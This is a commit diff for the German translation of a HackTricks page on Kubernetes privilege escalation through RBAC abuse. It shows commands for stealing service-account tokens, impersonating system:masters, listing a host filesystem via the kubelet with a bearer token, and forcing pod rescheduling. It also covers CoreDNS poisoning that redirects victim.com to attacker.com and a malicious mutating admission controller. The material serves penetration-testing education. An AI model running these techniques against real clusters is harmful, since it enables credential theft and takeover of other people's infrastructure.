mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-11 07:10:50 -08:00
Translated ['src/pentesting-cloud/kubernetes-security/abusing-roles-clus
This commit is contained in:
@@ -9,10 +9,10 @@ Denken Sie daran, dass Sie alle unterstützten Ressourcen mit `kubectl api-resou
|
||||
|
||||
Dies bezieht sich auf die Kunst, **Zugriff auf ein anderes Subjekt** innerhalb des Clusters **mit anderen Berechtigungen** (innerhalb des Kubernetes-Clusters oder zu externen Clouds) zu erhalten, als die, die Sie bereits haben. In Kubernetes gibt es im Wesentlichen **4 Haupttechniken zur Eskalation von Berechtigungen**:
|
||||
|
||||
- In der Lage sein, **andere Benutzer/Gruppen/SAs zu impersonieren**, die bessere Berechtigungen innerhalb des Kubernetes-Clusters oder zu externen Clouds haben
|
||||
- In der Lage sein, **Pods zu erstellen/zu patchen/auszuführen**, in denen Sie **SAs mit besseren Berechtigungen** innerhalb des Kubernetes-Clusters oder zu externen Clouds finden oder anhängen können
|
||||
- In der Lage sein, **Secrets zu lesen**, da die Tokens der SAs als Secrets gespeichert sind
|
||||
- In der Lage sein, **zum Knoten zu entkommen** von einem Container, wo Sie alle Secrets der auf dem Knoten laufenden Container, die Anmeldeinformationen des Knotens und die Berechtigungen des Knotens innerhalb der Cloud, in der er läuft (falls vorhanden), stehlen können
|
||||
- In der Lage sein, **andere Benutzer/Gruppen/SAs zu impersonieren**, die bessere Berechtigungen innerhalb des Kubernetes-Clusters oder zu externen Clouds haben.
|
||||
- In der Lage sein, **Pods zu erstellen/zu patchen/auszuführen**, in denen Sie **SAs mit besseren Berechtigungen** innerhalb des Kubernetes-Clusters oder zu externen Clouds finden oder anhängen können.
|
||||
- In der Lage sein, **Secrets zu lesen**, da die Tokens der SAs als Secrets gespeichert sind.
|
||||
- In der Lage sein, **zum Knoten zu entkommen** von einem Container, wo Sie alle Secrets der auf dem Knoten laufenden Container, die Anmeldeinformationen des Knotens und die Berechtigungen des Knotens innerhalb der Cloud, in der er läuft (falls vorhanden), stehlen können.
|
||||
- Eine fünfte Technik, die erwähnt werden sollte, ist die Fähigkeit, **Port-Forward** in einem Pod auszuführen, da Sie möglicherweise auf interessante Ressourcen innerhalb dieses Pods zugreifen können.
|
||||
|
||||
### Zugriff auf jede Ressource oder jedes Verb (Wildcard)
|
||||
@@ -127,7 +127,7 @@ Jetzt, da Sie zum Knoten entkommen können, überprüfen Sie die Post-Exploitati
|
||||
|
||||
#### Stealth
|
||||
|
||||
Sie möchten wahrscheinlich **stealthier** sein. Auf den folgenden Seiten können Sie sehen, auf was Sie zugreifen könnten, wenn Sie ein Pod erstellen, der nur einige der in der vorherigen Vorlage genannten Berechtigungen aktiviert:
|
||||
Sie möchten wahrscheinlich **stealthier** sein. Auf den folgenden Seiten können Sie sehen, auf was Sie zugreifen könnten, wenn Sie ein Pod erstellen, das nur einige der in der vorherigen Vorlage genannten Berechtigungen aktiviert:
|
||||
|
||||
- **Privileged + hostPID**
|
||||
- **Privileged only**
|
||||
@@ -193,7 +193,7 @@ path: /
|
||||
|
||||
**`pods/exec`** ist eine Ressource in Kubernetes, die zum **Ausführen von Befehlen in einer Shell innerhalb eines Pods** verwendet wird. Dies ermöglicht es, **Befehle innerhalb der Container auszuführen oder eine Shell zu erhalten**.
|
||||
|
||||
Daher ist es möglich, **in einen Pod einzudringen und das Token des SA zu stehlen**, oder in einen privilegierten Pod einzutreten, zum Knoten zu entkommen und alle Tokens der Pods im Knoten zu stehlen und (miss)zu verwenden:
|
||||
Daher ist es möglich, **in einen Pod zu gelangen und das Token des SA zu stehlen**, oder in einen privilegierten Pod einzutreten, zum Knoten zu entkommen und alle Tokens der Pods im Knoten zu stehlen und (miss)zu verwenden:
|
||||
```bash
|
||||
kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh
|
||||
```
|
||||
@@ -224,7 +224,7 @@ kubectl logs escaper --tail=2
|
||||
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
|
||||
# Keep incrementing tail to exfiltrate the whole file
|
||||
```
|
||||
- Wenn der Angreifer einen Principal mit den **Berechtigungen zum Lesen von `nodes/log`** kontrolliert, kann er einfach einen **symlink** in `/host-mounted/var/log/sym` zu `/` erstellen und beim **Zugriff auf `https://<gateway>:10250/logs/sym/` wird er das Root-Dateisystem des Hosts auflisten** (Ändern des symlinks kann Zugriff auf Dateien gewähren).
|
||||
- Wenn der Angreifer einen Principal mit den **Berechtigungen zum Lesen von `nodes/log`** kontrolliert, kann er einfach einen **symlink** in `/host-mounted/var/log/sym` zu `/` erstellen und beim **Zugriff auf `https://<gateway>:10250/logs/sym/` wird er das Root**-Dateisystem des Hosts auflisten (Ändern des symlinks kann Zugriff auf Dateien gewähren).
|
||||
```bash
|
||||
curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
|
||||
<a href="bin">bin</a>
|
||||
@@ -244,7 +244,7 @@ Wenn Sie das Glück haben und die hochprivilegierte Fähigkeit `CAP_SYS_ADMIN` v
|
||||
```bash
|
||||
mount -o rw,remount /hostlogs/
|
||||
```
|
||||
#### Umgehen des hostPath readOnly Schutzes <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
|
||||
#### Umgehung des hostPath readOnly-Schutzes <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
|
||||
|
||||
Wie in [**dieser Forschung**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html) angegeben, ist es möglich, den Schutz zu umgehen:
|
||||
```yaml
|
||||
@@ -302,7 +302,7 @@ name: task-pv-storage-vol
|
||||
|
||||
Mit einem [**Benutzer-Impersonation**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation) Privileg könnte ein Angreifer ein privilegiertes Konto impersonieren.
|
||||
|
||||
Verwenden Sie einfach den Parameter `--as=<Benutzername>` im `kubectl` Befehl, um einen Benutzer zu impersonieren, oder `--as-group=<Gruppe>`, um eine Gruppe zu impersonieren:
|
||||
Verwenden Sie einfach den Parameter `--as=<username>` im `kubectl` Befehl, um einen Benutzer zu impersonieren, oder `--as-group=<group>`, um eine Gruppe zu impersonieren:
|
||||
```bash
|
||||
kubectl get pods --as=system:serviceaccount:kube-system:default
|
||||
kubectl get secrets --as=null --as-group=system:masters
|
||||
@@ -382,19 +382,78 @@ $ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o jso
|
||||
"type": "kubernetes.io/service-account-token"
|
||||
}
|
||||
```
|
||||
Beachten Sie, dass, wenn Sie in einem bestimmten Namespace berechtigt sind, Geheimnisse zu erstellen und zu lesen, das Opfer-Servicekonto ebenfalls in demselben Namespace sein muss.
|
||||
Beachten Sie, dass, wenn Sie in einem bestimmten Namespace Secrets erstellen und lesen dürfen, das Opfer-Servicekonto sich ebenfalls in diesem Namespace befinden muss.
|
||||
|
||||
### Lesen eines Geheimnisses – Brute-Force von Token-IDs
|
||||
### Lesen eines Secrets – Brute-Forcing von Token-IDs
|
||||
|
||||
Während ein Angreifer im Besitz eines Tokens mit Leseberechtigungen den genauen Namen des Geheimnisses benötigt, um es zu verwenden, gibt es im Gegensatz zu dem breiteren _**Auflisten von Geheimnissen**_-Privileg dennoch Schwachstellen. Standard-Servicekonten im System können aufgelistet werden, wobei jedes mit einem Geheimnis verknüpft ist. Diese Geheimnisse haben eine Namensstruktur: ein statisches Präfix gefolgt von einem zufälligen fünfstelligen alphanumerischen Token (mit Ausnahme bestimmter Zeichen) gemäß dem [Quellcode](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83).
|
||||
Während ein Angreifer im Besitz eines Tokens mit Leseberechtigungen den genauen Namen des Secrets benötigt, um es zu verwenden, gibt es im Gegensatz zu dem breiteren _**Listing Secrets**_-Privileg dennoch Schwachstellen. Standard-Servicekonten im System können aufgelistet werden, wobei jedes mit einem Secret verknüpft ist. Diese Secrets haben eine Namensstruktur: ein statisches Präfix, gefolgt von einem zufälligen fünfstelligen alphanumerischen Token (mit Ausnahme bestimmter Zeichen) gemäß dem [Quellcode](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83).
|
||||
|
||||
Das Token wird aus einem begrenzten 27-Zeichen-Satz (`bcdfghjklmnpqrstvwxz2456789`) generiert, anstatt aus dem vollständigen alphanumerischen Bereich. Diese Einschränkung reduziert die insgesamt möglichen Kombinationen auf 14.348.907 (27^5). Folglich könnte ein Angreifer theoretisch einen Brute-Force-Angriff durchführen, um das Token innerhalb weniger Stunden zu ermitteln, was möglicherweise zu einer Privilegieneskalation durch den Zugriff auf sensible Servicekonten führen könnte.
|
||||
|
||||
### Zertifikat-Signierungsanfragen
|
||||
### EncryptionConfiguration im Klartext
|
||||
|
||||
Wenn Sie die Verben **`create`** in der Ressource `certificatesigningrequests` (oder zumindest in `certificatesigningrequests/nodeClient`) haben. Sie können **ein neues CeSR eines neuen Knotens erstellen.**
|
||||
Es ist möglich, Klartextschlüssel zu finden, um Daten im Ruhezustand in dieser Art von Objekt zu verschlüsseln, wie:
|
||||
```yaml
|
||||
# From https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/
|
||||
|
||||
Laut der [Dokumentation ist es möglich, diese Anfragen automatisch zu genehmigen](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), sodass Sie in diesem Fall **keine zusätzlichen Berechtigungen benötigen**. Andernfalls müssten Sie in der Lage sein, die Anfrage zu genehmigen, was bedeutet, dass Sie ein Update in `certificatesigningrequests/approval` und `approve` in `signers` mit resourceName `<signerNameDomain>/<signerNamePath>` oder `<signerNameDomain>/*` benötigen.
|
||||
#
|
||||
# CAUTION: this is an example configuration.
|
||||
# Do not use this for your own cluster!
|
||||
#
|
||||
|
||||
apiVersion: apiserver.config.k8s.io/v1
|
||||
kind: EncryptionConfiguration
|
||||
resources:
|
||||
- resources:
|
||||
- secrets
|
||||
- configmaps
|
||||
- pandas.awesome.bears.example # a custom resource API
|
||||
providers:
|
||||
# This configuration does not provide data confidentiality. The first
|
||||
# configured provider is specifying the "identity" mechanism, which
|
||||
# stores resources as plain text.
|
||||
#
|
||||
- identity: {} # plain text, in other words NO encryption
|
||||
- aesgcm:
|
||||
keys:
|
||||
- name: key1
|
||||
secret: c2VjcmV0IGlzIHNlY3VyZQ==
|
||||
- name: key2
|
||||
secret: dGhpcyBpcyBwYXNzd29yZA==
|
||||
- aescbc:
|
||||
keys:
|
||||
- name: key1
|
||||
secret: c2VjcmV0IGlzIHNlY3VyZQ==
|
||||
- name: key2
|
||||
secret: dGhpcyBpcyBwYXNzd29yZA==
|
||||
- secretbox:
|
||||
keys:
|
||||
- name: key1
|
||||
secret: YWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXoxMjM0NTY=
|
||||
- resources:
|
||||
- events
|
||||
providers:
|
||||
- identity: {} # do not encrypt Events even though *.* is specified below
|
||||
- resources:
|
||||
- '*.apps' # wildcard match requires Kubernetes 1.27 or later
|
||||
providers:
|
||||
- aescbc:
|
||||
keys:
|
||||
- name: key2
|
||||
secret: c2VjcmV0IGlzIHNlY3VyZSwgb3IgaXMgaXQ/Cg==
|
||||
- resources:
|
||||
- '*.*' # wildcard match requires Kubernetes 1.27 or later
|
||||
providers:
|
||||
- aescbc:
|
||||
keys:
|
||||
- name: key3
|
||||
secret: c2VjcmV0IGlzIHNlY3VyZSwgSSB0aGluaw==
|
||||
```
|
||||
### Certificate Signing Requests
|
||||
|
||||
Wenn Sie das Verb **`create`** in der Ressource `certificatesigningrequests` (oder zumindest in `certificatesigningrequests/nodeClient`) haben. Können Sie **create** ein neues CeSR eines **neuen Knotens.**
|
||||
|
||||
Laut der [Dokumentation ist es möglich, diese Anfragen automatisch zu genehmigen](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), sodass Sie in diesem Fall **keine zusätzlichen Berechtigungen benötigen**. Andernfalls müssten Sie in der Lage sein, die Anfrage zu genehmigen, was ein Update in `certificatesigningrequests/approval` und `approve` in `signers` mit resourceName `<signerNameDomain>/<signerNamePath>` oder `<signerNameDomain>/*` bedeutet.
|
||||
|
||||
Ein **Beispiel für eine Rolle** mit allen erforderlichen Berechtigungen ist:
|
||||
```yaml
|
||||
@@ -429,8 +488,8 @@ verbs:
|
||||
```
|
||||
So, mit dem genehmigten neuen Node CSR kannst du die **besonderen Berechtigungen** von Nodes **ausnutzen**, um **Geheimnisse zu stehlen** und **Berechtigungen zu eskalieren**.
|
||||
|
||||
In [**diesem Beitrag**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) und [**diesem hier**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) ist die GKE K8s TLS Bootstrap-Konfiguration mit **automatischer Signierung** konfiguriert, und sie wird ausgenutzt, um Anmeldeinformationen eines neuen K8s Nodes zu generieren und diese dann zu missbrauchen, um Berechtigungen durch das Stehlen von Geheimnissen zu eskalieren.\
|
||||
Wenn du **die genannten Berechtigungen hast, könntest du dasselbe tun**. Beachte, dass das erste Beispiel den Fehler umgeht, der einem neuen Node den Zugriff auf Geheimnisse innerhalb von Containern verweigert, da ein **Node nur auf die Geheimnisse von Containern zugreifen kann, die auf ihm gemountet sind.**
|
||||
In [**diesem Beitrag**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) und [**diesem hier**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) ist die GKE K8s TLS Bootstrap-Konfiguration mit **automatischer Signierung** konfiguriert, und sie wird ausgenutzt, um Anmeldeinformationen eines neuen K8s Nodes zu generieren und diese dann zu missbrauchen, um Berechtigungen zu eskalieren, indem Geheimnisse gestohlen werden.\
|
||||
Wenn du **die genannten Berechtigungen hast, könntest du dasselbe tun**. Beachte, dass das erste Beispiel den Fehler umgeht, der verhindert, dass ein neuer Node auf Geheimnisse innerhalb von Containern zugreift, da ein **Node nur auf die Geheimnisse von Containern zugreifen kann, die auf ihm gemountet sind.**
|
||||
|
||||
Der Weg, dies zu umgehen, besteht einfach darin, **Anmeldeinformationen für den Node-Namen zu erstellen, unter dem der Container mit den interessanten Geheimnissen gemountet ist** (aber schau dir einfach an, wie man es im ersten Beitrag macht):
|
||||
```bash
|
||||
@@ -486,9 +545,9 @@ groups:
|
||||
|
||||
### CoreDNS config map
|
||||
|
||||
Wenn Sie die Berechtigungen haben, die **`coredns` configmap** im `kube-system` Namespace zu ändern, können Sie die Adressdomänen ändern, auf die aufgelöst wird, um MitM-Angriffe durchzuführen, um **sensible Informationen zu stehlen oder bösartigen Inhalt einzuschleusen**.
|
||||
Wenn Sie die Berechtigungen haben, die **`coredns` configmap** im `kube-system` Namespace zu ändern, können Sie die Adressen ändern, auf die Domains aufgelöst werden, um MitM-Angriffe durchzuführen, um **sensible Informationen zu stehlen oder bösartigen Inhalt einzufügen**.
|
||||
|
||||
Die benötigten Verben sind **`update`** und **`patch`** über die **`coredns`** configmap (oder alle Configmaps).
|
||||
Die benötigten Verben sind **`update`** und **`patch`** über die **`coredns`** configmap (oder alle config maps).
|
||||
|
||||
Eine reguläre **coredns-Datei** enthält etwas wie dies:
|
||||
```yaml
|
||||
@@ -520,7 +579,7 @@ reload
|
||||
loadbalance
|
||||
}
|
||||
```
|
||||
Ein Angreifer könnte es herunterladen, indem er `kubectl get configmap coredns -n kube-system -o yaml` ausführt, es modifizieren, indem er etwas hinzufügt wie `rewrite name victim.com attacker.com`, sodass jedes Mal, wenn auf `victim.com` zugegriffen wird, tatsächlich `attacker.com` die Domain ist, die aufgerufen wird. Und dann anwenden, indem er `kubectl apply -f poison_dns.yaml` ausführt.
|
||||
Ein Angreifer könnte es herunterladen, indem er `kubectl get configmap coredns -n kube-system -o yaml` ausführt, es modifizieren, indem er etwas hinzufügt wie `rewrite name victim.com attacker.com`, sodass jedes Mal, wenn `victim.com` aufgerufen wird, tatsächlich `attacker.com` die Domain ist, die aufgerufen wird. Und dann anwenden, indem er `kubectl apply -f poison_dns.yaml` ausführt.
|
||||
|
||||
Eine andere Option ist, die Datei einfach zu bearbeiten, indem er `kubectl edit configmap coredns -n kube-system` ausführt und Änderungen vornimmt.
|
||||
|
||||
@@ -529,10 +588,10 @@ Eine andere Option ist, die Datei einfach zu bearbeiten, indem er `kubectl edit
|
||||
Es gibt **2 Möglichkeiten, K8s-Berechtigungen GCP-Prinzipien zuzuweisen**. In jedem Fall benötigt das Prinzip auch die Berechtigung **`container.clusters.get`**, um Anmeldeinformationen zum Zugriff auf den Cluster zu sammeln, oder Sie müssen **Ihre eigene kubectl-Konfigurationsdatei generieren** (folgen Sie dem nächsten Link).
|
||||
|
||||
> [!WARNING]
|
||||
> Wenn Sie mit dem K8s-API-Endpunkt sprechen, wird das **GCP-Auth-Token gesendet**. Dann wird GCP über den K8s-API-Endpunkt zuerst **überprüfen, ob das Prinzip** (per E-Mail) **Zugriff innerhalb des Clusters hat**, dann wird überprüft, ob es **irgendeinen Zugriff über GCP IAM** hat.\
|
||||
> Wenn **irgendeine** dieser Bedingungen **wahr** ist, wird er **antworten**. Wenn **nicht**, wird ein **Fehler** angezeigt, der vorschlägt, **Berechtigungen über GCP IAM** zu erteilen.
|
||||
> Wenn Sie mit dem K8s-API-Endpunkt sprechen, wird das **GCP-Auth-Token gesendet**. Dann wird GCP über den K8s-API-Endpunkt zuerst **überprüfen, ob das Prinzip** (per E-Mail) **Zugriff innerhalb des Clusters hat**, dann wird überprüft, ob es **irgendwelchen Zugriff über GCP IAM** hat.\
|
||||
> Wenn **irgendeines** davon **wahr** ist, wird er **antworten**. Wenn **nicht**, wird ein **Fehler** angezeigt, der vorschlägt, **Berechtigungen über GCP IAM** zu erteilen.
|
||||
|
||||
Die erste Methode besteht darin, **GCP IAM** zu verwenden, die K8s-Berechtigungen haben ihre **entsprechenden GCP IAM-Berechtigungen**, und wenn das Prinzip diese hat, kann es sie verwenden.
|
||||
Dann ist die erste Methode die Verwendung von **GCP IAM**, die K8s-Berechtigungen haben ihre **entsprechenden GCP IAM-Berechtigungen**, und wenn das Prinzip diese hat, kann es sie verwenden.
|
||||
|
||||
{{#ref}}
|
||||
../../gcp-security/gcp-privilege-escalation/gcp-container-privesc.md
|
||||
@@ -542,11 +601,11 @@ Die zweite Methode besteht darin, **K8s-Berechtigungen innerhalb des Clusters**
|
||||
|
||||
### Erstellen von Serviceaccounts-Token
|
||||
|
||||
Prinzipien, die **TokenRequests** (`serviceaccounts/token`) erstellen können, wenn sie mit dem K8s-API-Endpunkt sprechen, SAs (Informationen von [**hier**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)).
|
||||
Prinzipien, die **TokenRequests** (`serviceaccounts/token`) erstellen können, wenn sie mit dem K8s-API-Endpunkt sprechen (Informationen von [**hier**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)).
|
||||
|
||||
### ephemeralcontainers
|
||||
|
||||
Prinzipien, die **`update`** oder **`patch`** **`pods/ephemeralcontainers`** können, können **Codeausführung auf anderen Pods** erlangen und potenziell **ausbrechen** zu ihrem Knoten, indem sie einen ephemeral container mit einem privilegierten securityContext hinzufügen.
|
||||
Prinzipien, die **`update`** oder **`patch`** **`pods/ephemeralcontainers`** können **Codeausführung auf anderen Pods** erlangen und potenziell **ausbrechen** zu ihrem Knoten, indem sie einen ephemeral container mit einem privilegierten securityContext hinzufügen.
|
||||
|
||||
### ValidatingWebhookConfigurations oder MutatingWebhookConfigurations
|
||||
|
||||
@@ -571,7 +630,7 @@ Sie haben ein Beispiel, wie Sie [**RCE erhalten, indem Sie autorisiert mit einer
|
||||
|
||||
### Pods löschen + nicht planbare Knoten
|
||||
|
||||
Prinzipien, die **Pods löschen** können (`delete` Verb über `pods` Ressource), oder **Pods evakuieren** (`create` Verb über `pods/eviction` Ressource), oder **Pod-Status ändern** (Zugriff auf `pods/status`) und können **andere Knoten nicht planbar machen** (Zugriff auf `nodes/status`) oder **Knoten löschen** (`delete` Verb über `nodes` Ressource) und Kontrolle über einen Pod haben, könnten **Pods von anderen Knoten stehlen**, sodass sie in dem **kompromittierten** **Knoten** **ausgeführt** werden und der Angreifer die **Tokens** von diesen Pods **stehlen** kann.
|
||||
Prinzipien, die **Pods löschen** können (`delete` Verb über `pods` Ressource), oder **Pods evakuieren** (`create` Verb über `pods/eviction` Ressource), oder **Pod-Status ändern** (Zugriff auf `pods/status`) und andere Knoten **nicht planbar machen** (Zugriff auf `nodes/status`) oder **Knoten löschen** (`delete` Verb über `nodes` Ressource) und Kontrolle über einen Pod haben, könnten **Pods von anderen Knoten stehlen**, sodass sie in dem **kompromittierten** **Knoten** **ausgeführt** werden und der Angreifer die **Tokens** von diesen Pods **stehlen** kann.
|
||||
```bash
|
||||
patch_node_capacity(){
|
||||
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
|
||||
@@ -582,39 +641,39 @@ while true; do patch_node_capacity <id_other_node>; done &
|
||||
|
||||
kubectl delete pods -n kube-system <privileged_pod_name>
|
||||
```
|
||||
### Dienste-Status (CVE-2020-8554)
|
||||
### Services status (CVE-2020-8554)
|
||||
|
||||
Principals, die **`services/status`** **modifizieren** können, dürfen das Feld `status.loadBalancer.ingress.ip` setzen, um die **nicht behobene CVE-2020-8554** auszunutzen und **MiTM-Angriffe gegen den Cluster** zu starten. Die meisten Minderungstechniken für CVE-2020-8554 verhindern nur ExternalIP-Dienste (laut [**diesem**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)).
|
||||
|
||||
### Knoten- und Pod-Status
|
||||
### Nodes and Pods status
|
||||
|
||||
Principals mit **`update`** oder **`patch`** Berechtigungen über `nodes/status` oder `pods/status` könnten Labels modifizieren, um die durchgesetzten Planungsbeschränkungen zu beeinflussen.
|
||||
|
||||
## Eingebaute Verhinderung von Privilegieneskalation
|
||||
## Built-in Privileged Escalation Prevention
|
||||
|
||||
Kubernetes hat einen [eingebauten Mechanismus](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) zur Verhinderung von Privilegieneskalation.
|
||||
Kubernetes hat einen [eingebauten Mechanismus](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping), um Privilegieneskalation zu verhindern.
|
||||
|
||||
Dieses System stellt sicher, dass **Benutzer ihre Berechtigungen nicht erhöhen können, indem sie Rollen oder Rollenzuweisungen modifizieren**. Die Durchsetzung dieser Regel erfolgt auf API-Ebene und bietet einen Schutz, selbst wenn der RBAC-Autorisierer inaktiv ist.
|
||||
|
||||
Die Regel besagt, dass ein **Benutzer eine Rolle nur erstellen oder aktualisieren kann, wenn er alle Berechtigungen besitzt, die die Rolle umfasst**. Darüber hinaus muss der Umfang der bestehenden Berechtigungen des Benutzers mit dem der Rolle übereinstimmen, die er zu erstellen oder zu modifizieren versucht: entweder clusterweit für ClusterRoles oder auf denselben Namespace (oder clusterweit) für Roles.
|
||||
|
||||
> [!WARNING]
|
||||
> Es gibt eine Ausnahme von der vorherigen Regel. Wenn ein Principal das **Verb `escalate`** über **`roles`** oder **`clusterroles`** hat, kann er die Berechtigungen von Rollen und ClusterRoles erhöhen, auch wenn er die Berechtigungen selbst nicht hat.
|
||||
> Es gibt eine Ausnahme von der vorherigen Regel. Wenn ein Principal das **Verb `escalate`** über **`roles`** oder **`clusterroles`** hat, kann er die Berechtigungen von Rollen und ClusterRoles erhöhen, auch ohne die Berechtigungen selbst zu besitzen.
|
||||
|
||||
### **Get & Patch RoleBindings/ClusterRoleBindings**
|
||||
|
||||
> [!CAUTION]
|
||||
> **Offensichtlich hat diese Technik früher funktioniert, aber laut meinen Tests funktioniert sie aus dem gleichen Grund wie im vorherigen Abschnitt nicht mehr. Du kannst kein RoleBinding erstellen/modifizieren, um dir selbst oder einem anderen SA einige Berechtigungen zu geben, wenn du sie nicht bereits hast.**
|
||||
> **Offensichtlich hat diese Technik früher funktioniert, aber laut meinen Tests funktioniert sie aus dem gleichen Grund, der im vorherigen Abschnitt erklärt wurde, nicht mehr. Du kannst kein Rolebinding erstellen/modifizieren, um dir selbst oder einem anderen SA einige Berechtigungen zu geben, wenn du sie nicht bereits hast.**
|
||||
|
||||
Das Privileg, RoleBindings zu erstellen, ermöglicht es einem Benutzer, **Rollen an ein Service-Konto zu binden**. Dieses Privileg kann potenziell zu einer Privilegieneskalation führen, da es **dem Benutzer erlaubt, Administratorberechtigungen an ein kompromittiertes Service-Konto zu binden.**
|
||||
Das Privileg, Rolebindings zu erstellen, ermöglicht es einem Benutzer, **Rollen an ein Servicekonto zu binden**. Dieses Privileg kann potenziell zu einer Privilegieneskalation führen, da es **dem Benutzer erlaubt, Administratorberechtigungen an ein kompromittiertes Servicekonto zu binden.**
|
||||
|
||||
## Andere Angriffe
|
||||
## Other Attacks
|
||||
|
||||
### Sidecar-Proxy-App
|
||||
### Sidecar proxy app
|
||||
|
||||
Standardmäßig gibt es keine Verschlüsselung in der Kommunikation zwischen Pods. Gegenseitige Authentifizierung, bidirektional, Pod zu Pod.
|
||||
|
||||
#### Erstelle eine Sidecar-Proxy-App
|
||||
#### Create a sidecar proxy app
|
||||
|
||||
Ein Sidecar-Container besteht einfach darin, einen **zweiten (oder mehr) Container innerhalb eines Pods** hinzuzufügen.
|
||||
|
||||
@@ -628,15 +687,15 @@ image: nginx
|
||||
image: busybox
|
||||
command: ["sh","-c","<execute something in the same pod but different container>"]
|
||||
```
|
||||
Um beispielsweise ein bestehendes Pod mit einem neuen Container zu hinterlegen, könnten Sie einfach einen neuen Container in der Spezifikation hinzufügen. Beachten Sie, dass Sie dem zweiten Container **mehr Berechtigungen** geben könnten, die der erste nicht hat.
|
||||
Um beispielsweise ein bestehendes Pod mit einem neuen Container zu backdooren, könnten Sie einfach einen neuen Container in der Spezifikation hinzufügen. Beachten Sie, dass Sie dem zweiten Container **mehr Berechtigungen** geben könnten, die der erste nicht hat.
|
||||
|
||||
Weitere Informationen unter: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)
|
||||
|
||||
### Bösartiger Admission Controller
|
||||
|
||||
Ein Admission Controller **unterbricht Anfragen an den Kubernetes API-Server**, bevor das Objekt persistent wird, aber **nachdem die Anfrage authentifiziert** **und autorisiert** wurde.
|
||||
Ein Admission Controller **unterbricht Anfragen an den Kubernetes API-Server** vor der Persistenz des Objekts, aber **nachdem die Anfrage authentifiziert** **und autorisiert** wurde.
|
||||
|
||||
Wenn es einem Angreifer gelingt, einen **Mutation Admission Controller** zu **injizieren**, kann er **bereits authentifizierte Anfragen modifizieren**. Dies könnte potenziell zu Privilegieneskalation führen und in der Regel im Cluster persistieren.
|
||||
Wenn es einem Angreifer gelingt, einen **Mutation Admission Controller** zu **injizieren**, kann er **bereits authentifizierte Anfragen** **modifizieren**. Dies könnte potenziell zu Privilegieneskalation führen und in der Regel im Cluster persistieren.
|
||||
|
||||
**Beispiel von** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers):
|
||||
```bash
|
||||
@@ -668,7 +727,7 @@ Wie Sie im obigen Bild sehen können, haben wir versucht, das Image `nginx` ausz
|
||||
|
||||
#### Technische Details
|
||||
|
||||
Das Skript `./deploy.sh` richtet einen mutierenden Webhook-Zugangscontroller ein, der Anfragen an die Kubernetes-API gemäß den in den Konfigurationszeilen angegebenen Vorgaben ändert und die beobachteten Ergebnisse beeinflusst:
|
||||
Das Skript `./deploy.sh` richtet einen mutierenden Webhook-Zulassungscontroller ein, der Anfragen an die Kubernetes-API gemäß den in seinen Konfigurationszeilen angegebenen Vorgaben ändert und die beobachteten Ergebnisse beeinflusst:
|
||||
```
|
||||
patches = append(patches, patchOperation{
|
||||
Op: "replace",
|
||||
|
||||
@@ -4,9 +4,9 @@
|
||||
|
||||
## Einführung
|
||||
|
||||
In Kubernetes wird beobachtet, dass ein Standardverhalten die Herstellung von Verbindungen zwischen **allen Containern, die sich auf demselben Knoten befinden**, erlaubt. Dies gilt unabhängig von den Namensraumunterschieden. Diese Konnektivität erstreckt sich bis zu **Layer 2** (Ethernet). Folglich könnte diese Konfiguration das System potenziell Schwachstellen aussetzen. Insbesondere eröffnet sie die Möglichkeit, dass ein **bösartiger Container** einen **ARP-Spoofing-Angriff** gegen andere Container, die sich auf demselben Knoten befinden, ausführt. Während eines solchen Angriffs kann der bösartige Container betrügerisch den Netzwerkverkehr abfangen oder ändern, der für andere Container bestimmt ist.
|
||||
In Kubernetes wird beobachtet, dass ein Standardverhalten die Herstellung von Verbindungen zwischen **allen Containern, die sich auf demselben Knoten befinden**, erlaubt. Dies gilt unabhängig von den Namensraumunterschieden. Diese Konnektivität erstreckt sich bis zu **Schicht 2** (Ethernet). Folglich könnte diese Konfiguration das System potenziellen Schwachstellen aussetzen. Insbesondere eröffnet sie die Möglichkeit, dass ein **bösartiger Container** einen **ARP-Spoofing-Angriff** gegen andere Container, die sich auf demselben Knoten befinden, ausführt. Während eines solchen Angriffs kann der bösartige Container betrügerisch den Netzwerkverkehr abfangen oder ändern, der für andere Container bestimmt ist.
|
||||
|
||||
